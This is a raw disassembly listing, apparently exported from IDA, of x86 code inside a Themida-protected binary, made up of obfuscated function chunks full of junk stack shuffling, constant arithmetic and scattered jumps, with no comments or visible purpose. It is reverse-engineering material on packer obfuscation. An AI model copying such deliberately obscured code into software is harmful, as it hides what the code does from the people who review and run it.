; FUNCTION CHUNK AT 005A70E0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A952B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AC062 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005AC8D1 SIZE 00000010 BYTES

		push	ebx
		mov	edx, [esp+4+var_4]
		jmp	loc_5A70E0
sub_5987D8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5987E1:				; CODE XREF: sub_599059-1Aj
		jnb	loc_59BDB8
		add	ebx, 0B91B3F4Fh
		mov	edi, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5A066C
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_598803:				; CODE XREF: sub_5A600F-DF5Bj
		mov	dh, 0EFh
		add	dh, 0C2h
		jmp	loc_5A27EE
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAB0E


loc_59880D:				; CODE XREF: sub_5AAB0E-AEBAj
		add	ecx, 13054329h
		and	ebp, ecx
		pop	ecx
		xor	ebp, 35C0E6Ch
		or	ebp, 7DD11B59h
		xor	ebp, 7DDD1F79h
		add	eax, ebp
		pop	ebp
		add	eax, 2
		xor	eax, [esp-8+arg_4]
		xor	[esp-8+arg_4], eax
		xor	eax, [esp-8+arg_4]
		jmp	loc_5AAE34
; END OF FUNCTION CHUNK	FOR sub_5AAB0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59883E:				; CODE XREF: sub_5A91EC+C73j
		add	edi, ebx
		push	[esp-8+arg_4]
		pop	ebx
		add	esp, 4
		xor	edi, 7635738Ch
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	sub_598936
		push	esi
		push	esp
		pop	esi
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		sub	esi, 4
		xchg	esi, [esp-0Ch+arg_8]
		pop	esp
		mov	[esp-10h+arg_C], ebx
		mov	ebx, esp
		push	47BBh
		jmp	loc_5A1256
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59887D:				; CODE XREF: sub_5A8C33-9B6Aj
		shr	edi, 6
		jmp	loc_5A2477
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5981F9


loc_598885:				; CODE XREF: sub_5981F9+CB7Dj
		push	edi
		mov	edi, 22AB2346h
		add	[esp+4], edi
		mov	edi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_59A3D2
; END OF FUNCTION CHUNK	FOR sub_5981F9
; ---------------------------------------------------------------------------


loc_59889D:				; CODE XREF: Themida_:00598FBCj
		and	eax, 2A0A1053h
		jmp	loc_5AEE5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5988A7:				; CODE XREF: sub_5A600F-8E83j
		shr	ebp, 7
		jz	loc_5A64A6
		dec	ebp
		jns	loc_59E3A5
		inc	ebp
		js	loc_5AAB37
		shl	ebp, 8
		push	eax


loc_5988C2:				; CODE XREF: Themida_:005A2B6Bj
		pop	di
		pop	bx
		sub	esp, 2
		mov	word ptr [esp+8+var_A+2], bx
		not	word ptr [esp+8+var_A+2]
		pop	bx
		jmp	loc_5AEEC0
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5988D8:				; CODE XREF: sub_59B707+5E64j
		push	edi
		jmp	loc_5A05EB
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5988DE:				; CODE XREF: sub_5A17D6+5644j
		pop	esp
		not	edi
		dec	edi
		neg	edi
		push	3ACCh
		mov	[esp+10h+var_10], ebx
		mov	ebx, 27C13492h
		jmp	loc_5AABA2
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5988F6:				; CODE XREF: sub_5A3F42-6524j
		mov	edx, 33456F62h
		jmp	loc_5A04B2
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------


loc_598900:				; CODE XREF: Themida_:0059DFF9j
		pop	esi
		push	ecx
		mov	ecx, esp
		push	49F2h
		jmp	loc_5ACAE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_59890E:				; CODE XREF: sub_59B707-281Ej
		pop	edi
		xor	esi, [esp+0]
		xor	[esp+0], esi
		jmp	loc_59B7BC
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D180


loc_59891A:				; CODE XREF: sub_59D180+5C65j
		mov	ebp, esp
		add	ebp, 4
		push	23Eh
		mov	[esp+8+var_8], edx
		mov	edx, 6E487435h
		push	esi
		jmp	loc_5AB346
; END OF FUNCTION CHUNK	FOR sub_59D180
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A484D


loc_598935:				; CODE XREF: sub_5A484D+8E25j
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_5A484D

; =============== S U B	R O U T	I N E =======================================



sub_598936	proc near		; CODE XREF: sub_5A91EC-1099Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059BD45 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005A9A6F SIZE 00000019 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	[esp+4+var_4]
		jmp	loc_5A9A6F
sub_598936	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_598947:				; CODE XREF: sub_5A34FD+2390j
		add	bl, 77h
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_598955:				; CODE XREF: sub_5986D6+BBA1j
		pop	eax
		jmp	loc_5A9D0E
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59895B:				; CODE XREF: sub_5A8D43+2CB5j
		mov	[esp+0], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 2AC7448h
		inc	edi
		push	esi
		mov	esi, 1F206439h
		inc	esi
		push	edx
		mov	edx, 217E584Bh
		sub	esi, edx
		pop	edx
		inc	esi
		jmp	loc_597DE4
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_59897D:				; CODE XREF: Themida_:005AC669j
		not	edx
		add	edx, 0F63DCC6Eh
		xor	ebx, edx
		jmp	loc_5A612C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_59898C:				; CODE XREF: sub_599059-22j
					; sub_59EE57-2D64j
		mov	ebx, [esp+0]
		add	esp, 4
		xor	al, dl
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		push	ecx
		push	ebx
		mov	bl, 0F5h
		mov	cl, bl
		pop	ebx
		push	ax
		mov	al, 0F1h
		jmp	loc_5AB837
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5989AA:				; CODE XREF: sub_5A7343+374Cj
		add	esi, 1
		jmp	loc_59E415
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A95E0


loc_5989B2:				; CODE XREF: sub_5A95E0+45CCj
		pop	ecx
		add	ebp, 4
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		sub	esi, 167B35B4h
		sub	esp, 4
		mov	[esp+4+var_4], esi
		sub	[esp+4+var_4], 0C6C4DC4h
		pop	eax
		add	eax, 0C6C4DC4h
		mov	esi, [esp+0]
		push	edx
		mov	edx, esp
		jmp	loc_59E50B
; END OF FUNCTION CHUNK	FOR sub_5A95E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598462


loc_5989E6:				; CODE XREF: sub_598462+130CAj
		jno	loc_5ACD20
		shr	al, 6
		neg	al
		jg	loc_5A87A9
		xor	al, 0FFh


loc_5989F9:				; CODE XREF: Themida_:005AEE61j
		mov	ebx, eax
		pop	eax
		push	ebx
		mov	ebp, [esp-8+arg_4]
		add	esp, 4
		pop	ebx
		sub	edi, 36316C3h
		add	edi, ebp
		add	edi, 36316C3h
		jmp	loc_5A891B
; END OF FUNCTION CHUNK	FOR sub_598462
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	64Bh
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	27D9h
		jmp	loc_59C55D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_598A2F:				; CODE XREF: sub_59AE49+5767j
					; sub_5A8F00-3E04j
		push	dword ptr [ebx]
		pop	ecx
		pop	ebx
		push	edi
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, 4C6339CCh
		mov	edi, esi
		pop	esi
		push	ecx
		mov	ecx, 8861C8Ah
		and	edi, ecx
		pop	ecx
		jmp	loc_5A4E2C
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_598A50:				; CODE XREF: sub_598D67+1481Bj
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A0FD4
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA500


loc_598A5C:				; CODE XREF: Themida_:005A395Ej
					; sub_5AA500+6j
		dec	dh
		jns	loc_5A5DC2
		shl	dh, 3
		js	loc_5AC631
		jns	loc_59ED3B


loc_598A73:				; CODE XREF: Themida_:005ADCBCj
		mov	ecx, [esp+0]
		push	edx
		mov	edx, esp
		jmp	loc_5A7482
; END OF FUNCTION CHUNK	FOR sub_5AA500
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_598A7E:				; CODE XREF: sub_5AEE2E-107B9j
		or	ebp, 16B377B3h
		neg	ebp
		jmp	loc_59C7CB
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F73C


loc_598A8B:				; CODE XREF: sub_59F73C+9EE2j
		imul	ecx, eax
		jmp	loc_5A6B8C
; END OF FUNCTION CHUNK	FOR sub_59F73C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_598A93:				; CODE XREF: sub_59D99C+B6D1j
		pop	edi
		push	edi
		mov	edi, 27476634h
		not	edi
		add	edi, 946D1DC3h
		add	ebp, edi
		pop	edi
		sub	esi, ebp
		jmp	loc_5A9041
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
		push	27ACh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		push	7BFEh
		mov	[esp], ecx
		jmp	loc_5ADCB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_598AC9:				; CODE XREF: sub_597F0C+1212Bj
		push	esi
		mov	esi, 65476AA4h
		sub	esi, 52B70CFDh
		shl	esi, 7
		jmp	loc_5A248F
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A02EA


loc_598ADD:				; CODE XREF: sub_5A02EA-3A87j
		pop	ecx
		jmp	loc_59AC2F
; END OF FUNCTION CHUNK	FOR sub_5A02EA
; ---------------------------------------------------------------------------


loc_598AE3:				; CODE XREF: Themida_:005A9316j
		or	ecx, 25761957h
		jmp	loc_5AE3B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_598AEE:				; CODE XREF: sub_59D99C+4982j
		push	2CE7h
		jmp	loc_5A48E2
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FDC7


loc_598AF8:				; CODE XREF: sub_59FDC7+4070j
		add	esp, 4
		mov	ecx, esi
		pop	esi
		add	edi, 1CA37B1Bh
		add	edi, ecx
		sub	edi, 1CA37B1Bh
		mov	ecx, [esp+0]
		push	esi
		mov	esi, esp
		push	ecx
		jmp	loc_5A9C18
; END OF FUNCTION CHUNK	FOR sub_59FDC7
; ---------------------------------------------------------------------------


loc_598B1B:				; CODE XREF: Themida_:005A0D26j
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59E222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B73


loc_598B35:				; CODE XREF: sub_5A3B73-646Dj
		not	edx
		inc	edx
		xchg	edx, edi
		jmp	loc_5A5D9F
; END OF FUNCTION CHUNK	FOR sub_5A3B73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_598B3F:				; CODE XREF: sub_59A772+168Aj
					; sub_59D7E7+3E18j
		add	esp, 4
		jmp	loc_5AE901
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------


loc_598B4A:				; CODE XREF: Themida_:0059CFFBj
		pop	eax
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		btc	[esp], ax
		pushf
		jmp	loc_5A771F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_598B5B:				; CODE XREF: sub_59ACEC+105E0j
		mov	esi, 21707726h
		push	5188h
		mov	[esp+4+var_4], eax
		push	63D56EABh
		jmp	loc_59A388
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59858D


loc_598B72:				; CODE XREF: sub_59858D+73DFj
		push	edx
		mov	dl, 3Bh
		shr	dl, 7
		xchg	bl, dl
		not	bl
		xchg	bl, dl
		jmp	loc_5AE82F
; END OF FUNCTION CHUNK	FOR sub_59858D
; ---------------------------------------------------------------------------


loc_598B83:				; CODE XREF: Themida_:005ADEB5j
		shl	dh, 6
		xor	dh, 0A3h
		sub	al, dh
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	dh, 8Dh
		push	edx
		push	5FC5h
		mov	[esp], eax
		jmp	loc_5ABB8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_598BA3:				; CODE XREF: sub_5ABF4A-96C2j
		pop	ebx
		mov	esi, [esp-8+arg_4]
		add	esp, 4
		sub	esp, 4
		mov	[esp-8+arg_4], ebx
		mov	ebx, 1
		push	esi
		push	edi
		jmp	loc_59E2CC
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5991B7


loc_598BBF:				; CODE XREF: Themida_:0059A2BCj
					; sub_5991B7+B3B4j
		add	esi, 0B451EFADh
		add	edi, esi
		jmp	loc_5A706B
; END OF FUNCTION CHUNK	FOR sub_5991B7
; ---------------------------------------------------------------------------


loc_598BCC:				; CODE XREF: Themida_:005A5A3Aj
		sub	ecx, 7A081171h
		jno	loc_5985F9
		dec	ecx
		jmp	loc_5A734E
; ---------------------------------------------------------------------------


loc_598BDE:				; CODE XREF: Themida_:005AAE80j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_59C51F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ABA2


loc_598BE9:				; CODE XREF: sub_59ABA2+Bj
					; sub_59DFDD-1C57j
		mov	[esp+8+var_8], esi
		jmp	loc_5A379E
; END OF FUNCTION CHUNK	FOR sub_59ABA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_598BF1:				; CODE XREF: sub_5AE6FD-F3D9j
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_598BF6:				; CODE XREF: sub_59D99C+270Cj
		push	255Eh
		mov	[esp-4+arg_0], ebp
		mov	ebp, 618BE34Ah
		add	edi, ebp
		jmp	loc_59A550
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE57


loc_598C0A:				; CODE XREF: sub_59EE57+9j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		xor	al, dl
		pop	dx
		push	672Eh
		mov	[esp-4+arg_0], edx
		push	35EAh
		mov	[esp+0], edx
		push	esp
		pop	edx
		push	eax
		push	5B45h
		mov	[esp+8+var_8], ebp
		jmp	loc_59AE37
; END OF FUNCTION CHUNK	FOR sub_59EE57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_598C3A:				; CODE XREF: sub_5A600F-C44j
		mov	[esp+0], ebx
		mov	ebx, 13674EE5h
		shr	ebx, 6
		sub	ebx, 0E5B7BFAFh
		add	ebp, 6B293A00h
		add	ebp, ebx
		sub	ebp, 6B293A00h
		pop	ebx
		jmp	loc_5A6620
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D95F


loc_598C5F:				; CODE XREF: sub_59D95F+1j
		mov	ebp, 4
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], esp
		add	[esp-8+arg_4], 4
		push	[esp-8+arg_4]
		jmp	loc_5AA47F
; END OF FUNCTION CHUNK	FOR sub_59D95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1199


loc_598C7D:				; CODE XREF: sub_5A1199+Dj
		add	esp, 4
		push	edi
		mov	edi, 4
		add	edx, edi
		jmp	loc_5A53F4
; END OF FUNCTION CHUNK	FOR sub_5A1199
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_598C8D:				; CODE XREF: sub_5ABF4A-A22Dj
		pop	eax
		pop	esi
		push	[esp-8+arg_4]
		mov	ebx, [esp-4+arg_0]
		jmp	loc_59EB38
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_598C9A:				; CODE XREF: sub_59C53B+2B43j
		mov	ebp, [esp+1Ch+var_1C]
		jmp	loc_59BE11
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------


loc_598CB0:				; CODE XREF: Themida_:005AB592j
		mov	edx, [esp]
		jmp	loc_5A1F7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_598CB8:				; CODE XREF: sub_597F0C+F432j
		mov	eax, ebp
		jmp	loc_5A3732
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------


loc_598CBF:				; CODE XREF: Themida_:0059C530j
		push	34D2h
		mov	[esp], eax
		push	dword ptr [esp]
		jmp	loc_5A62D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_598CCF:				; CODE XREF: sub_5A34FD-6353j
		mov	eax, [esp+0Ch+var_C]
		jmp	loc_5AB6B0
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE49


loc_598CD7:				; CODE XREF: sub_59AE49+8C6Fj
		pop	esi
		jmp	loc_5AB23E
; END OF FUNCTION CHUNK	FOR sub_59AE49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_598CDD:				; CODE XREF: sub_5A8D43-CD48j
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp+4+var_4]
		jmp	loc_59D373
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_598CE8:				; CODE XREF: sub_5AB98B-11A99j
		or	ch, bh
		pop	ebx
		jmp	loc_59F6D1
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_598CF0:				; CODE XREF: sub_5AC95F-14B80j
		pop	eax
		sub	eax, 76E4DF1h
		push	5188h
		mov	[esp-0Ch+arg_8], esi
		push	7C39h
		mov	[esp-8+arg_4], ecx
		push	esi
		mov	esi, 23583DCAh
		jmp	loc_59F7C2
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_598D11:				; CODE XREF: Themida_:0059AC19j
					; Themida_:0059C803j
		jmp	loc_597B5F

; =============== S U B	R O U T	I N E =======================================



sub_598D16	proc near		; CODE XREF: sub_5A98EB-EE85j

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00597C33 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00598E71 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005999C8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00599ADE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059AE0D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059AF3F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059B664 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059C0A7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059C928 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059D3F1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059DE2E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059E48E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059F6E2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059FD3B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A0443 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A09E6 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A1630 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A16B1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A26D7 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005A3242 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A9353 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A9623 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A9703 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AAFAC SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005ABDD2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AC148 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005AD4E8 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005AE9A8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AEC74 SIZE 0000000A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	1E64h
		mov	[esp+8+var_8], ecx
		mov	ecx, 4
		sub	ebx, 720A2232h
		jmp	loc_5A9353
sub_598D16	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_598D3C:				; CODE XREF: sub_59EE40+EC27j
		dec	dh
		not	dh
		push	eax
		mov	al, 0C3h
		sub	al, 0A3h
		add	dh, 0BDh
		add	dh, al
		jmp	loc_59F59B
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------


loc_598D4F:				; CODE XREF: Themida_:005995F0j
		neg	cl
		jz	loc_59C122
		jmp	loc_5A79CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_598D5C:				; CODE XREF: sub_5AC95F-C840j
					; sub_5A8C33:loc_5A86BBj
		xor	esi, ebp
		xor	ebp, esi
		xor	esi, ebp
		jmp	sub_5AA9C8
; END OF FUNCTION CHUNK	FOR sub_5A8C33

; =============== S U B	R O U T	I N E =======================================



sub_598D67	proc near		; CODE XREF: sub_5A8C33-239Ej

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00598730 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00598A50 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00599DD2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059B9F0 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059BAC3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059D000 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059D32F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059F1EF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A0BD3 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 005A0FD4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A25BB SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A3019 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A30AD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A36D6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A3856 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A3CA5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A3E74 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A6B1F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A79F2 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A93AE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A98B0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005AA4C6 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005AAA2E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AB0F1 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005AB743 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AB91F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005ACF6E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AD579 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AE286 SIZE 0000000C BYTES

		sub	esp, 4
		mov	[esp-4+arg_0], ebx
		jmp	loc_5A79F2
sub_598D67	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8899


loc_598D75:				; CODE XREF: sub_5A8899-CA8Dj
		push	37FCh
		mov	[esp+0Ch+var_C], edx
		push	[esp+0Ch+var_C]
		pop	ecx
		push	100h
		jmp	loc_599044
; END OF FUNCTION CHUNK	FOR sub_5A8899
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	1CF1h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5AB203
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_598DA2:				; CODE XREF: sub_5A91EC+12BDj
		pop	eax
		jmp	loc_599E39
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------


loc_598DA8:				; CODE XREF: Themida_:005AA91Bj
		mov	eax, 4D0F459Ah
		xor	eax, 75D449C8h
		sub	edx, 153136EBh
		add	edx, eax
		jmp	loc_5A0C91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_598DBF:				; CODE XREF: sub_59A932+10CB9j
		push	[esp+arg_0]
		jmp	loc_5AA9FD
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91CF


loc_598DC8:				; CODE XREF: sub_5A91CF-1269j
		push	eax
		mov	eax, 6AF1288Bh
		and	ecx, eax
		jmp	loc_5A55B3
; END OF FUNCTION CHUNK	FOR sub_5A91CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_598DD5:				; CODE XREF: sub_5AC95F-B2DAj
		mov	ebp, [esp-4+arg_0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A0946
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F2C8


loc_598DEC:				; CODE XREF: sub_59F2C8+35FFj
		mov	edx, eax
		pop	eax
		neg	edx
		add	edx, 411E304Ah
		jmp	loc_5A52E6
; END OF FUNCTION CHUNK	FOR sub_59F2C8
; ---------------------------------------------------------------------------


loc_598DFC:				; CODE XREF: Themida_:0059DB5Dj
		push	ebx
		jmp	loc_5A8882
; ---------------------------------------------------------------------------
